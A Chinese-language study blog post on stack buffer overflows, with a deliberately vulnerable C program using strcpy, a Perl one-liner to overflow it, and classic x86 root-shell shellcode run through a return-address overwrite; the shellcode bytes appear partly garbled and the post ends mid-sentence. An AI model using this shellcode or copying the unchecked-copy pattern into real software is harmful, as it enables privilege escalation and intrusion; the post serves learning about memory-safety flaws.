1 栈操作
具体的函数调用过程:
2 缓冲区溢出
2.1
#include<stdio.h>
void greeting(char *temp1, char *temp2) { char name[400]; strcpy(name, temp2); printf("Hello %s %s\n", temp1, name); }
int main(int argc, char *argv[]) { greeting(argv[1], argv[2]); printf("Bye %s %s\n", argv[1], argv[2]); }
|
编译 gcc -g -o meet meet.c
为了产生400个字节的缓冲溢出,还需要学习Perl,现在只需要了解:
'perl -e 'print "A" x 600''
就是输出600个A。
执行命令:./meet Mr 'perl -e 'print "A" x 600''
但是我的由没有成功,具体原因不明,我想把它搞定估计没那么容易,暂时放一放。
2.2 栈溢出的结果:
1, 拒绝服务,就是段错误之类的。
2, 返回的eip被修改,导致可能执行恶意代码。
3, 在2的基础上以root身份执行恶意代码。
3 本地缓冲溢出攻击
3.1 shellcode
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x7 6\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xf f \xf f \xf f/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
|
好多东西在我的机器上实验都没有成功,我估计是因为这些漏洞都已经修复,所以我也就不把这些写在博客上了,毕竟没什么意义。
但是还是要总结一下:
1 栈溢出就是指在局部变量或调用的时候将其他的地址占用,造成了安全漏洞,通过学习了解了为什么suid是一个有漏洞的程序,因为它以root身份运行,所以如果被人站溢出,那么将会以root权限运行恶意程序。
2 堆是动态分配的,堆溢出也是利用了内存边界问题,也就是说申请的空间上添上恶意代码,这样就可以执行而已代码了。
3 就像前面我提到一样,这样的漏洞都是可以有安全措施的,比如内存安全控制机制。
后面的一些内容是关于shellcode的,我的上帝,那么代码要自己敲也太
阅读(1063) | 评论(0) | 转发(0) |